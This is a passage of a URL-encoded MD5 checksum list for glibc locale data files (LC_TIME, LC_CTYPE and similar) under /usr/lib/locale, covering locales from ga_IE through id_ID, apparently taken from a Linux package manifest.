53c460bc80c192ec1627cf%20%20%2Fusr%2Flib%2Flocale%2Fga_IE%2FLC_NAME%0A90fe15212a1ac184814f6171928b0e1d%20%20%2Fusr%2Flib%2Flocale%2Fga_IE%2FLC_MEASUREMENT%0A6c5e5033ee3bbded5815a975062fd53e%20%20%2Fusr%2Flib%2Flocale%2Fga_IE%2FLC_CTYPE%0A74ad1041fbc8a219f9e8fdf1436ff5c0%20%20%2Fusr%2Flib%2Flocale%2Fga_IE%2FLC_COLLATE%0A84cd44be8697f7593a4b38002c12b5df%20%20%2Fusr%2Flib%2Flocale%2Fga_IE%2FLC_ADDRESS%0A27a5817dfa883d118137fff0890e5024%20%20%2Fusr%2Flib%2Flocale%2Fga_IE.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Aefc5d3e94138e6106a5fa468a30bc2fa%20%20%2Fusr%2Flib%2Flocale%2Fga_IE.utf8%2FLC_TIME%0Aff3ae679a1a9fb3446d027f9ef36e7f1%20%20%2Fusr%2Flib%2Flocale%2Fga_IE.utf8%2FLC_IDENTIFICATION%0A741f3ece6413e87b522f7ff5a6bd50ee%20%20%2Fusr%2Flib%2Flocale%2Fga_IE.utf8%2FLC_TELEPHONE%0A0f17b624b589337260c82dc6b9e6ab5d%20%20%2Fusr%2Flib%2Flocale%2Fga_IE.utf8%2FLC_MONETARY%0A25bea281b7df587a92c8fcf2124e83af%20%20%2Fusr%2Flib%2Flocale%2Fga_IE.utf8%2FLC_NUMERIC%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Fga_IE.utf8%2FLC_NAME%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Fga_IE.utf8%2FLC_ADDRESS%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fga_IE.utf8%2FLC_PAPER%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fga_IE.utf8%2FLC_MEASUREMENT%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fga_IE.utf8%2FLC_CTYPE%0A7055ed589bdfe4d4ab38dbd83e2ef642%20%20%2Fusr%2Flib%2Flocale%2Fga_IE.utf8%2FLC_COLLATE%0A27a5817dfa883d118137fff0890e5024%20%20%2Fusr%2Flib%2Flocale%2Fga_IE.utf8%40euro%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Aefc5d3e94138e6106a5fa468a30bc2fa%20%20%2Fusr%2Flib%2Flocale%2Fga_IE.utf8%40euro%2FLC_TIME%0A95908422414128d60c8ff5ccf1920521%20%20%2Fusr%2Flib%2Flocale%2Fga_IE.utf8%40euro%2FLC_IDENTIFICATION%0A741f3ece6413e87b522f7ff5a6bd50ee%20%20%2Fusr%2Flib%2Flocale%2Fga_IE.utf8%40euro%2FLC_TELEPHONE%0Add43aa8466fc64bee70a3a9a23450e94%20%20%2Fusr%2Flib%2Flocale%2Fga_IE.utf8%40euro%2FLC_MONETARY%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fga_IE.utf8%40euro%2FLC_MEASUREMENT%0A25bea281b7df587a92c8fcf2124e83af%20%20%2Fusr%2Flib%2Flocale%2Fga_IE.utf8%40euro%2FLC_NUMERIC%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Fga_IE.utf8%40euro%2FLC_NAME%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Fga_IE.utf8%40euro%2FLC_ADDRESS%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fga_IE.utf8%40euro%2FLC_PAPER%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fga_IE.utf8%40euro%2FLC_CTYPE%0A7055ed589bdfe4d4ab38dbd83e2ef642%20%20%2Fusr%2Flib%2Flocale%2Fga_IE.utf8%40euro%2FLC_COLLATE%0A3e05729f378e44edc96d992075500e45%20%20%2Fusr%2Flib%2Flocale%2Fga_IE%40euro%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A82c018aeafeff6c53e695ce0cbeb3407%20%20%2Fusr%2Flib%2Flocale%2Fga_IE%40euro%2FLC_TIME%0A209de12d0b73ecd4dff40ad9947e2f89%20%20%2Fusr%2Flib%2Flocale%2Fga_IE%40euro%2FLC_IDENTIFICATION%0Ae9c19ea15c53743150413695ed0dd575%20%20%2Fusr%2Flib%2Flocale%2Fga_IE%40euro%2FLC_TELEPHONE%0A99520b53fc1f08dbd69469b3dfd27b4e%20%20%2Fusr%2Flib%2Flocale%2Fga_IE%40euro%2FLC_NUMERIC%0Ac3cd673a1f4210ca376b8789ba85fb99%20%20%2Fusr%2Flib%2Flocale%2Fga_IE%40euro%2FLC_MONETARY%0Ab7d183bf4367f2cfdfe88aa1667a5d5d%20%20%2Fusr%2Flib%2Flocale%2Fga_IE%40euro%2FLC_COLLATE%0Ac8d0b32a3a4c7fd13e654482eda18620%20%20%2Fusr%2Flib%2Flocale%2Fga_IE%40euro%2FLC_PAPER%0A7809ac117e96c386beffe3ebdacca6dc%20%20%2Fusr%2Flib%2Flocale%2Fga_IE%40euro%2FLC_NAME%0A67269a7b9cd9fe5f02919e948a231c34%20%20%2Fusr%2Flib%2Flocale%2Fga_IE%40euro%2FLC_MEASUREMENT%0Ad9b1fa625a566959a39b3dd9b3036d0a%20%20%2Fusr%2Flib%2Flocale%2Fga_IE%40euro%2FLC_CTYPE%0Ab4210496dbffa5fde62d96cbbaa739fd%20%20%2Fusr%2Flib%2Flocale%2Fga_IE%40euro%2FLC_ADDRESS%0Aa93478999468ef1939d375ce52ba8c4a%20%20%2Fusr%2Flib%2Flocale%2Fgl_ES%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A30030f84aa3b9443ce9d1e577b59af20%20%20%2Fusr%2Flib%2Flocale%2Fgl_ES%2FLC_TIME%0A77b85bbfe14ce2ff1fe77743b0d020f6%20%20%2Fusr%2Flib%2Flocale%2Fgl_ES%2FLC_IDENTIFICATION%0Af6ec6d523c3fde8db0553398621ae250%20%20%2Fusr%2Flib%2Flocale%2Fgl_ES%2FLC_TELEPHONE%0Ab0b15bfecfeee4246fe449185cb7a37d%20%20%2Fusr%2Flib%2Flocale%2Fgl_ES%2FLC_MONETARY%0A90fe15212a1ac184814f6171928b0e1d%20%20%2Fusr%2Flib%2Flocale%2Fgl_ES%2FLC_MEASUREMENT%0Aa493f90653bb36e686ceb69c4277cb49%20%20%2Fusr%2Flib%2Flocale%2Fgl_ES%2FLC_COLLATE%0Ae87e3620d7ee9b382318942244365662%20%20%2Fusr%2Flib%2Flocale%2Fgl_ES%2FLC_NUMERIC%0A74a67436a5f50d83f924c404cbbf8e66%20%20%2Fusr%2Flib%2Flocale%2Fgl_ES%2FLC_PAPER%0A56b7ef56b353c460bc80c192ec1627cf%20%20%2Fusr%2Flib%2Flocale%2Fgl_ES%2FLC_NAME%0A6c5e5033ee3bbded5815a975062fd53e%20%20%2Fusr%2Flib%2Flocale%2Fgl_ES%2FLC_CTYPE%0A84cd44be8697f7593a4b38002c12b5df%20%20%2Fusr%2Flib%2Flocale%2Fgl_ES%2FLC_ADDRESS%0A1b4df49fc879153d601755d8f937fb47%20%20%2Fusr%2Flib%2Flocale%2Fgl_ES.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Ab239dc534d124fc65207da9b83501cb0%20%20%2Fusr%2Flib%2Flocale%2Fgl_ES.utf8%2FLC_TIME%0Aa924a60ab51f0942970c70dd85309b30%20%20%2Fusr%2Flib%2Flocale%2Fgl_ES.utf8%2FLC_IDENTIFICATION%0A5ec365c96086da7afcbcde5b4b764418%20%20%2Fusr%2Flib%2Flocale%2Fgl_ES.utf8%2FLC_TELEPHONE%0A2642a46edd94dbbfbefc6005b0b49338%20%20%2Fusr%2Flib%2Flocale%2Fgl_ES.utf8%2FLC_MONETARY%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fgl_ES.utf8%2FLC_MEASUREMENT%0A3ae4a56ff88ab5dbc96932cd2be10055%20%20%2Fusr%2Flib%2Flocale%2Fgl_ES.utf8%2FLC_NUMERIC%0A975dd575363cf2cccec59cec0036dcb4%20%20%2Fusr%2Flib%2Flocale%2Fgl_ES.utf8%2FLC_COLLATE%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Fgl_ES.utf8%2FLC_NAME%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Fgl_ES.utf8%2FLC_ADDRESS%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fgl_ES.utf8%2FLC_PAPER%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fgl_ES.utf8%2FLC_CTYPE%0A1b4df49fc879153d601755d8f937fb47%20%20%2Fusr%2Flib%2Flocale%2Fgl_ES.utf8%40euro%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Ab239dc534d124fc65207da9b83501cb0%20%20%2Fusr%2Flib%2Flocale%2Fgl_ES.utf8%40euro%2FLC_TIME%0Ab564fe0580478b86917ef04f6a3d8a55%20%20%2Fusr%2Flib%2Flocale%2Fgl_ES.utf8%40euro%2FLC_IDENTIFICATION%0A5ec365c96086da7afcbcde5b4b764418%20%20%2Fusr%2Flib%2Flocale%2Fgl_ES.utf8%40euro%2FLC_TELEPHONE%0A3d7a1219892806152491159f217f6fa0%20%20%2Fusr%2Flib%2Flocale%2Fgl_ES.utf8%40euro%2FLC_MONETARY%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fgl_ES.utf8%40euro%2FLC_MEASUREMENT%0A3ae4a56ff88ab5dbc96932cd2be10055%20%20%2Fusr%2Flib%2Flocale%2Fgl_ES.utf8%40euro%2FLC_NUMERIC%0A975dd575363cf2cccec59cec0036dcb4%20%20%2Fusr%2Flib%2Flocale%2Fgl_ES.utf8%40euro%2FLC_COLLATE%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Fgl_ES.utf8%40euro%2FLC_NAME%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Fgl_ES.utf8%40euro%2FLC_ADDRESS%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fgl_ES.utf8%40euro%2FLC_PAPER%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fgl_ES.utf8%40euro%2FLC_CTYPE%0A67a2530012ffbdff3472d8c247e43591%20%20%2Fusr%2Flib%2Flocale%2Fgl_ES%40euro%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A1378aaff5642cabc78270a0d34cdad1f%20%20%2Fusr%2Flib%2Flocale%2Fgl_ES%40euro%2FLC_TIME%0A21f1553a79e5607bfe39a27505094c80%20%20%2Fusr%2Flib%2Flocale%2Fgl_ES%40euro%2FLC_IDENTIFICATION%0Aff3f5c3bcfc40df3aab96c3011f53b59%20%20%2Fusr%2Flib%2Flocale%2Fgl_ES%40euro%2FLC_TELEPHONE%0A855e30f44302ddb302743fb6d061b462%20%20%2Fusr%2Flib%2Flocale%2Fgl_ES%40euro%2FLC_MONETARY%0A67269a7b9cd9fe5f02919e948a231c34%20%20%2Fusr%2Flib%2Flocale%2Fgl_ES%40euro%2FLC_MEASUREMENT%0Ac8d0b32a3a4c7fd13e654482eda18620%20%20%2Fusr%2Flib%2Flocale%2Fgl_ES%40euro%2FLC_PAPER%0A1b0d9ccc475b3ee8255f9c7b0bc4aba1%20%20%2Fusr%2Flib%2Flocale%2Fgl_ES%40euro%2FLC_NUMERIC%0A7809ac117e96c386beffe3ebdacca6dc%20%20%2Fusr%2Flib%2Flocale%2Fgl_ES%40euro%2FLC_NAME%0Ad9b1fa625a566959a39b3dd9b3036d0a%20%20%2Fusr%2Flib%2Flocale%2Fgl_ES%40euro%2FLC_CTYPE%0A4fe7b10dd96e3a6974fb88831c8165b6%20%20%2Fusr%2Flib%2Flocale%2Fgl_ES%40euro%2FLC_COLLATE%0Ab4210496dbffa5fde62d96cbbaa739fd%20%20%2Fusr%2Flib%2Flocale%2Fgl_ES%40euro%2FLC_ADDRESS%0A43946a0654a4236ebc9609a6d226cd4e%20%20%2Fusr%2Flib%2Flocale%2Fgv_GB%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A3bcdcc07135715e4fc88bc22bb244cc9%20%20%2Fusr%2Flib%2Flocale%2Fgv_GB%2FLC_TIME%0A53334fa09cc459c1d23834e7abe6d3e9%20%20%2Fusr%2Flib%2Flocale%2Fgv_GB%2FLC_IDENTIFICATION%0A79e6e7722f5bf02611b6e9a4354137b3%20%20%2Fusr%2Flib%2Flocale%2Fgv_GB%2FLC_TELEPHONE%0A33d7854cbc36a1ed3ba1a5a9b9642cbf%20%20%2Fusr%2Flib%2Flocale%2Fgv_GB%2FLC_MONETARY%0A5a0d7365ae442bb043e74cf258fcb8ec%20%20%2Fusr%2Flib%2Flocale%2Fgv_GB%2FLC_NUMERIC%0A74a67436a5f50d83f924c404cbbf8e66%20%20%2Fusr%2Flib%2Flocale%2Fgv_GB%2FLC_PAPER%0A56b7ef56b353c460bc80c192ec1627cf%20%20%2Fusr%2Flib%2Flocale%2Fgv_GB%2FLC_NAME%0A90fe15212a1ac184814f6171928b0e1d%20%20%2Fusr%2Flib%2Flocale%2Fgv_GB%2FLC_MEASUREMENT%0A6c5e5033ee3bbded5815a975062fd53e%20%20%2Fusr%2Flib%2Flocale%2Fgv_GB%2FLC_CTYPE%0A74ad1041fbc8a219f9e8fdf1436ff5c0%20%20%2Fusr%2Flib%2Flocale%2Fgv_GB%2FLC_COLLATE%0A84cd44be8697f7593a4b38002c12b5df%20%20%2Fusr%2Flib%2Flocale%2Fgv_GB%2FLC_ADDRESS%0Acfd8a97f286e921e9213cdaf077a609f%20%20%2Fusr%2Flib%2Flocale%2Fgv_GB.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Af67c248bf71d8a13a19e136ed4b5a50f%20%20%2Fusr%2Flib%2Flocale%2Fgv_GB.utf8%2FLC_TIME%0A6757f5f71b8de67f4c2d4ba11c6b23fa%20%20%2Fusr%2Flib%2Flocale%2Fgv_GB.utf8%2FLC_IDENTIFICATION%0A47d722ab5512bc9c0e6072351c882734%20%20%2Fusr%2Flib%2Flocale%2Fgv_GB.utf8%2FLC_TELEPHONE%0A722124aa3afd8fe54af84c7d5aa6ee9e%20%20%2Fusr%2Flib%2Flocale%2Fgv_GB.utf8%2FLC_MONETARY%0A25bea281b7df587a92c8fcf2124e83af%20%20%2Fusr%2Flib%2Flocale%2Fgv_GB.utf8%2FLC_NUMERIC%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Fgv_GB.utf8%2FLC_NAME%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Fgv_GB.utf8%2FLC_ADDRESS%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fgv_GB.utf8%2FLC_PAPER%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fgv_GB.utf8%2FLC_MEASUREMENT%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fgv_GB.utf8%2FLC_CTYPE%0A7055ed589bdfe4d4ab38dbd83e2ef642%20%20%2Fusr%2Flib%2Flocale%2Fgv_GB.utf8%2FLC_COLLATE%0Ac4a280d58a68b07175b7781cd42c9fc8%20%20%2Fusr%2Flib%2Flocale%2Fhe_IL%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A995060cbd30ade1be8f51a0ce1b5949e%20%20%2Fusr%2Flib%2Flocale%2Fhe_IL%2FLC_TIME%0A70767c7dda813f0641da8e31351fbe82%20%20%2Fusr%2Flib%2Flocale%2Fhe_IL%2FLC_IDENTIFICATION%0Aafd9f732f5f1276b3a63c57f69ee92f4%20%20%2Fusr%2Flib%2Flocale%2Fhe_IL%2FLC_TELEPHONE%0A2d0e5557259f6d109575e3f648b788a2%20%20%2Fusr%2Flib%2Flocale%2Fhe_IL%2FLC_PAPER%0A54854dd0c715359e0f8cdc47a27c254b%20%20%2Fusr%2Flib%2Flocale%2Fhe_IL%2FLC_NUMERIC%0A71da7dfc7b6cb50781f4a5f16118efca%20%20%2Fusr%2Flib%2Flocale%2Fhe_IL%2FLC_NAME%0A833957cb273b6a84f068f7e4c8884f95%20%20%2Fusr%2Flib%2Flocale%2Fhe_IL%2FLC_MONETARY%0Ae13eb9ab008b50357c864b0a03155791%20%20%2Fusr%2Flib%2Flocale%2Fhe_IL%2FLC_MEASUREMENT%0A87649e2fdc0ae786eec024b7b32e5978%20%20%2Fusr%2Flib%2Flocale%2Fhe_IL%2FLC_CTYPE%0Aaa02608288949bfd8498bd4fa90beac0%20%20%2Fusr%2Flib%2Flocale%2Fhe_IL%2FLC_COLLATE%0A675d708f10b837021259d7175274c6be%20%20%2Fusr%2Flib%2Flocale%2Fhe_IL%2FLC_ADDRESS%0Ae07e1094e991466816a1319fa82a9a2d%20%20%2Fusr%2Flib%2Flocale%2Fhe_IL.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A534f871850019a109ef70f6253f87cc8%20%20%2Fusr%2Flib%2Flocale%2Fhe_IL.utf8%2FLC_TIME%0A49aeadea147b7d16f41365769f96e559%20%20%2Fusr%2Flib%2Flocale%2Fhe_IL.utf8%2FLC_IDENTIFICATION%0Afb73509f645762c598340ed953c86836%20%20%2Fusr%2Flib%2Flocale%2Fhe_IL.utf8%2FLC_TELEPHONE%0A28178671b7fac1468e4a552093dc2068%20%20%2Fusr%2Flib%2Flocale%2Fhe_IL.utf8%2FLC_MONETARY%0A25bea281b7df587a92c8fcf2124e83af%20%20%2Fusr%2Flib%2Flocale%2Fhe_IL.utf8%2FLC_NUMERIC%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Fhe_IL.utf8%2FLC_NAME%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Fhe_IL.utf8%2FLC_ADDRESS%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fhe_IL.utf8%2FLC_PAPER%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fhe_IL.utf8%2FLC_MEASUREMENT%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fhe_IL.utf8%2FLC_CTYPE%0A7055ed589bdfe4d4ab38dbd83e2ef642%20%20%2Fusr%2Flib%2Flocale%2Fhe_IL.utf8%2FLC_COLLATE%0Af28b031f31d9c911cfec625d850ed942%20%20%2Fusr%2Flib%2Flocale%2Fhi_IN%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Ae2b7d978cbcc9567ad6185ff69f71724%20%20%2Fusr%2Flib%2Flocale%2Fhi_IN%2FLC_TIME%0A6b3a5d4c784249b902e6d721f2b985d0%20%20%2Fusr%2Flib%2Flocale%2Fhi_IN%2FLC_IDENTIFICATION%0A94557c17644e850a652716e215945261%20%20%2Fusr%2Flib%2Flocale%2Fhi_IN%2FLC_TELEPHONE%0A1500caeef8f1b40d46f5fe18b235d6ed%20%20%2Fusr%2Flib%2Flocale%2Fhi_IN%2FLC_MONETARY%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fhi_IN%2FLC_PAPER%0A090083a6859338a517a96550cab8d845%20%20%2Fusr%2Flib%2Flocale%2Fhi_IN%2FLC_NAME%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fhi_IN%2FLC_MEASUREMENT%0A5ff44f043d7bfa890f85a1a84d8fab29%20%20%2Fusr%2Flib%2Flocale%2Fhi_IN%2FLC_NUMERIC%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fhi_IN%2FLC_CTYPE%0A7055ed589bdfe4d4ab38dbd83e2ef642%20%20%2Fusr%2Flib%2Flocale%2Fhi_IN%2FLC_COLLATE%0A6280a46712a02caa517d7acc8d60c117%20%20%2Fusr%2Flib%2Flocale%2Fhi_IN%2FLC_ADDRESS%0A18db77ce3d8ccaf96176b2f83ffbd91a%20%20%2Fusr%2Flib%2Flocale%2Fhr_HR%2FLC_IDENTIFICATION%0A5ccc38db45dc18e15a95595b495b3b16%20%20%2Fusr%2Flib%2Flocale%2Fhr_HR%2FLC_COLLATE%0Ab8095f6916138dc19e322777fc178fdc%20%20%2Fusr%2Flib%2Flocale%2Fhr_HR%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A6d250cedf9dd2042c715527ac547ae43%20%20%2Fusr%2Flib%2Flocale%2Fhr_HR%2FLC_TELEPHONE%0A93592d08cea0b07420ec6b89be3ab42a%20%20%2Fusr%2Flib%2Flocale%2Fhr_HR%2FLC_MONETARY%0A9f0433753d11fa45ef41781a733b397d%20%20%2Fusr%2Flib%2Flocale%2Fhr_HR%2FLC_PAPER%0A64262efeeebd1bb0935e1946f9523449%20%20%2Fusr%2Flib%2Flocale%2Fhr_HR%2FLC_TIME%0A345396e85397d99eb778c78c9e230127%20%20%2Fusr%2Flib%2Flocale%2Fhr_HR%2FLC_MEASUREMENT%0A58306a9719ddd8e8571a3a8613942b8a%20%20%2Fusr%2Flib%2Flocale%2Fhr_HR%2FLC_NUMERIC%0Ab7314dd94bccc78bd7a61dfeae8cb406%20%20%2Fusr%2Flib%2Flocale%2Fhr_HR%2FLC_NAME%0A9174f7d4132578f44edd640c13510279%20%20%2Fusr%2Flib%2Flocale%2Fhr_HR%2FLC_CTYPE%0A5eacd696a4820a0de5e31f518a50a56a%20%20%2Fusr%2Flib%2Flocale%2Fhr_HR%2FLC_ADDRESS%0A5667bff16a6a86a4494a304d0cfd9dcb%20%20%2Fusr%2Flib%2Flocale%2Fhr_HR.utf8%2FLC_IDENTIFICATION%0A195449603264c77c206f322f1473b351%20%20%2Fusr%2Flib%2Flocale%2Fhr_HR.utf8%2FLC_COLLATE%0Aa37f7eb07db90b75ee547b9c0e875491%20%20%2Fusr%2Flib%2Flocale%2Fhr_HR.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A2885650db60ce07a036faf5ecad1a449%20%20%2Fusr%2Flib%2Flocale%2Fhr_HR.utf8%2FLC_TELEPHONE%0Abc5cdb09c69f0711bec18287ecaa4181%20%20%2Fusr%2Flib%2Flocale%2Fhr_HR.utf8%2FLC_MONETARY%0A3ae4a56ff88ab5dbc96932cd2be10055%20%20%2Fusr%2Flib%2Flocale%2Fhr_HR.utf8%2FLC_NUMERIC%0A0abf345cb0af9ada39ff323156372aa7%20%20%2Fusr%2Flib%2Flocale%2Fhr_HR.utf8%2FLC_TIME%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Fhr_HR.utf8%2FLC_ADDRESS%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Fhr_HR.utf8%2FLC_NAME%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fhr_HR.utf8%2FLC_MEASUREMENT%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fhr_HR.utf8%2FLC_PAPER%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fhr_HR.utf8%2FLC_CTYPE%0A65590b6eb51fe20f6c592469aa524093%20%20%2Fusr%2Flib%2Flocale%2Fhu_HU%2FLC_IDENTIFICATION%0A4b45cbdd6b37c4cffa22e370670c09d0%20%20%2Fusr%2Flib%2Flocale%2Fhu_HU%2FLC_COLLATE%0A16731a5abbc2041dbfb2d0ab94995f8e%20%20%2Fusr%2Flib%2Flocale%2Fhu_HU%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A717d1d9195608c069f31289d5a249e04%20%20%2Fusr%2Flib%2Flocale%2Fhu_HU%2FLC_TELEPHONE%0Afec9a21f3e529c79a2098283bd360857%20%20%2Fusr%2Flib%2Flocale%2Fhu_HU%2FLC_MONETARY%0A9f0433753d11fa45ef41781a733b397d%20%20%2Fusr%2Flib%2Flocale%2Fhu_HU%2FLC_PAPER%0A1371a725e8d653a4faa9af1c8e96c9ae%20%20%2Fusr%2Flib%2Flocale%2Fhu_HU%2FLC_TIME%0A345396e85397d99eb778c78c9e230127%20%20%2Fusr%2Flib%2Flocale%2Fhu_HU%2FLC_MEASUREMENT%0A58306a9719ddd8e8571a3a8613942b8a%20%20%2Fusr%2Flib%2Flocale%2Fhu_HU%2FLC_NUMERIC%0Ab7314dd94bccc78bd7a61dfeae8cb406%20%20%2Fusr%2Flib%2Flocale%2Fhu_HU%2FLC_NAME%0A9174f7d4132578f44edd640c13510279%20%20%2Fusr%2Flib%2Flocale%2Fhu_HU%2FLC_CTYPE%0A5eacd696a4820a0de5e31f518a50a56a%20%20%2Fusr%2Flib%2Flocale%2Fhu_HU%2FLC_ADDRESS%0A491817e0894a7c123f199a57ea43182e%20%20%2Fusr%2Flib%2Flocale%2Fhu_HU.utf8%2FLC_IDENTIFICATION%0Ab69e37d142b69045616091e9ff0e64a8%20%20%2Fusr%2Flib%2Flocale%2Fhu_HU.utf8%2FLC_COLLATE%0A3c53b2ff806416c2a2e55eb65e1001f6%20%20%2Fusr%2Flib%2Flocale%2Fhu_HU.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Aaa6d7fb8559d0fc84cbb25e36fd1043c%20%20%2Fusr%2Flib%2Flocale%2Fhu_HU.utf8%2FLC_TELEPHONE%0A58db0682cb568116fed9193b81992053%20%20%2Fusr%2Flib%2Flocale%2Fhu_HU.utf8%2FLC_MONETARY%0A3ae4a56ff88ab5dbc96932cd2be10055%20%20%2Fusr%2Flib%2Flocale%2Fhu_HU.utf8%2FLC_NUMERIC%0Aa6e62629ba8972c6f17000629af89378%20%20%2Fusr%2Flib%2Flocale%2Fhu_HU.utf8%2FLC_TIME%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Fhu_HU.utf8%2FLC_ADDRESS%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Fhu_HU.utf8%2FLC_NAME%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fhu_HU.utf8%2FLC_MEASUREMENT%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fhu_HU.utf8%2FLC_PAPER%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fhu_HU.utf8%2FLC_CTYPE%0A52ae7c7db3be6c72bb7f71859e8118a3%20%20%2Fusr%2Flib%2Flocale%2Fid_ID%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A25291ce53b75a22091ee9da45dd71f2f%20%20%2Fusr%2Flib%2Flocale%2Fid_ID%2FLC_TIME%0Acb5e659e08b2a1911b47949b6d7419e3%20%20%2Fusr%2Flib%2Flocale%2Fid_ID%2FLC_IDENTIFICATION%0A74236d10ed5c4e3c7710b30ab20b61fd%20%20%2Fusr%2Flib%2Flocale%2Fid_ID%2FLC_TELEPHONE%0A1e50ce9dd00e9b165193e2c84431328b%20%20%2Fusr%2Flib%2Flocale%2Fid_ID%2FLC_MONETARY%0A90fe15212a1ac184814f6171928b0e1d%20%20%2Fusr%2Flib%2Flocale%2Fid_ID%2FLC_MEASUREMENT%0A74a67436a5f50d83f924c404cbbf8e66%20%20%2Fusr%2Flib%2Flocale%2Fid_ID%2FLC_PAPER%0A9803aabd8b3564c9febbd871fd579a3c%20%20%2Fusr%2Flib%2Flocale%2Fid_ID%2FLC_NUMERIC%0A56b7ef56b353c460bc80c192ec1627cf%20%20%2Fusr%2Flib%2Flocale%2Fid_ID%2FLC_NAME%0A6c5e5033ee3bbded5815a975062fd53e%20%20%2Fusr%2Flib%2Flocale%2Fid_ID%2FLC_CTYPE%0A74ad1041fbc8a219f9e8fdf1436ff5c0%20%20%2Fusr%2Flib%2Flocale%2Fid_ID%2FLC_COLLATE%0A84cd44be8697f7593a4b38002c12b5df%20%20%2Fusr%2Flib%2Flocale%2Fid_ID%2FLC_ADDRESS%0Aad2df5c320c45c2327c340233543116a%20%20%2Fusr%2Flib%2Flocale%2Fid_ID.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A1cfdec6b86d108af33fe23400934265a%20%20%2Fusr%2Flib%2Flocale%2Fid_ID.utf8%2FLC_TIME%0Ad51494e5eb7c192e197c7fff33cc3188%20%20%2Fusr%2Flib%2Flocale%2Fid_ID.utf8%2FLC_IDENTIFICATION%0A1ad79680f85bd9f348ec7be88250970a%20%20%2Fusr%2Flib%2Flocale%2Fid_ID.utf8%2FLC_TELEPHONE%0A5d56cfb384c980b271364cccc6b03da5%20%20%2Fusr%2Flib%2Flocale%2Fid_ID.utf8%2FLC_MONETARY%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fid_ID.utf8%2FLC_MEASUREMENT%0A1e8c9ff4219cbab439739acc0d523bbb%20%20%2Fusr%2Flib%2F